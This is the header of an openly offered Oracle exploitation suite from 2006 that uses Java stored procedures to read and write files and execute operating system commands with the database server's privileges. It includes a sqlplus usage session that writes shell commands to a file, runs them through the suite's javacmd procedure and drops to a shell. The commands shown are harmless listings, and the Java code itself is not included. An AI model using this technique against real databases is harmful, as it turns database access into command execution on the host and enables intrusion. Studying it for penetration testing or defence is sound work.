-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system 
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
